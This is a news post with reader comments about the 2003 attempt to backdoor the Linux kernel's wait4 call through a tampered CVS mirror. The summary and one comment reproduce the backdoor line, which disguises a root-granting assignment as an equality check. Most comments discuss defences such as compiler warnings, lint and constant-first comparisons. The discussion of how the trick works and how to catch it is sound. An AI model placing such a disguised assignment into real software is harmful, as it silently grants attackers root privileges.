The Linux Backdoor Attempt of 2003

Hugh Pickens DOT Com writes "Ed Felton writes about an incident, in 2003, in which someone tried to backdoor the Linux kernel. Back in 2003 Linux used BitKeeper to store the master copy of the Linux source code. If a developer wanted to propose a modification to the Linux code, they would submit their proposed change, and it would go through an organized approval process to decide whether the change would be accepted into the master code. But some people didn't like BitKeeper, so a second copy of the source code was kept in CVS. On November 5, 2003, Larry McAvoy noticed that there was a code change in the CVS copy that did not have a pointer to a record of approval. Investigation showed that the change had never been approved and, stranger yet, that this change did not appear in the primary BitKeeper repository at all. Further investigation determined that someone had apparently broken in electronically to the CVS server and inserted a small change to wait4: 'if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) ...' A casual reading makes it look like innocuous error-checking code, but a careful reader would notice that, near the end of the first line, it said '= 0' rather than '== 0' so the effect of this code is to give root privileges to any piece of software that called wait4 in a particular way that is supposed to be invalid. In other words it's a classic backdoor. We don't know who it was that made the attempt—and we probably never will. But the attempt didn't work, because the Linux team was careful enough to notice that that this code was in the CVS repository without having gone through the normal approval process. 'Could this have been an NSA attack? Maybe. But there were many others who had the skill and motivation to carry out this attack,' writes Felton. 'Unless somebody confesses, or a smoking-gun document turns up, we'll never know.'"

Re:OMG enough

[sqorbit]

It's just like the "We can't explain this, so it must have been aliens" philosophy. If someone tried to create a backdoor, it must be the NSA. Not some bored hacker or some other explanation.

C/C++ operator =

[Jamu]

It's why placing constants on the left of the equality operator is a good idea in C/C++. The whole line then looks suspicious because its constants are on the right, and the first thing you'll think about is bugs involving operator = instead of operator ==. Unfortunately there's a lot of old code that doesn't do this, but it's easy enough for a compiler to issue warnings about operator = in if-statements.

Compiler warning

[JDG1980]

Doesn't GCC warn for this by default? I'm pretty sure I remember getting compiler warnings from it in cases when I deliberately had an assignment operator in an if conditional.

Re:C/C++ operator =

[TheCarp]

OMG Thank you.

I have often seen this form, not just in C but elsewhere. I always thought it was more a formatting preference for readability (often the variables being tested part of the equation doesn't change, so move the part that does change closer towards the start of the line)

I never considered that it might help catch or mitigate this sort of error. Truely 0 = uid, while also quite bad yet legal C*, doesn't reassign the UID.

* I always thought this was legal, but now that I try it, I find this gives a compile time error - "error: lvalue required as left operand of assignment". Currently gcc is the only compiler I have on hand, so i can't check some of the much older ones.

Re:OMG enough

[ShanghaiBill]

Unless somebody has proof that somebody was trying to create a back door then stop with all of the "X-Files" shit.

The code snippet is an obvious attempt at a backdoor. What more "proof" do you need?

It could have been a hacker trying to put that code in.

So? How does that make it "not a backdoor"? The code is the same regardless of who put it there.

Some obvious lessons from this are:
1. Run your compiler with the warnings on.
2. Use lint.
Either of these would have flagged this problem.

When run with "gcc -Wall", this warning is produced: warning: suggest parentheses around assignment used as truth value.

Re:OMG enough

[Anonymous Coward]

Um, the assignment does have parentheses around it, which silences GCC's complaint.

Here's minimal code to wrap around that line. It does not generate a warning on GCC 4.2 or 4.6:

#define __WCLONE 0x10
#define __WALL 0x20
 
#include <stdlib.h>
 
struct procinfo {
    int uid;
};
 
int main(void) {
    struct procinfo * current = malloc(sizeof(struct procinfo));
    int options = 0x30;
 
    if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) {
/* won't be ever reached since 0 is false
        * but calling process gains root
        */
    }
    free(current);
    return 0;
}

Re:C/C++ operator =

[Dogtanian]

Yeah, I'd often thought that the := operator should have been used instead of = (possibly leaving == as the equality operator and having a single = give a compiler error).

The only problem is that := *might* look quite similar to != (i.e. doesn't equal). If we were starting again from scratch, of course, we could choose BASIC's <> instead to avoid that problem, but whether it would be a good idea now, I don't know.

Underhanded C Contest

[KingofSpades]

I'm suprised that no one mentioned the Underhanded C Contest
http://underhanded.xcott.com/ [xcott.com]

Quoting their web site:
"The goal of the contest is to write code that is as readable, clear, innocent and straightforward as possible, and yet it must fail to perform at its apparent function. To be more specific, it should do something subtly evil. "

Re:OMG enough

[LanceUppercut]

That is actually misguided reasoning. If you remove this parenthesis and write it like that
if ((options == (__WCLONE|__WALL)) && current->uid = 0)
the code will fail to compile for a completely different reason. In C (as well as in C++) the assignment operator has very low priority, lower than `&&` operator. That means that the above code would be interpreted as
if (((options == (__WCLONE|__WALL)) && current->uid) = 0)
A code like that would not compile at all, since it attempts to assign 0 to something that is not lvalue. For this reason (and not some "warning"), you actually absolutely need that extra parenthesis.
Also, note that the first condition is also wrapped in parenthesis, which is formally excessive ('==' has higher priority than `&&`, but some users prefer to add that extra parenthesis since they believe it improves readability). For this reason, it is fairly safe to conclude that both parentheses where there from the very beginning. They were not added by that malicious coder.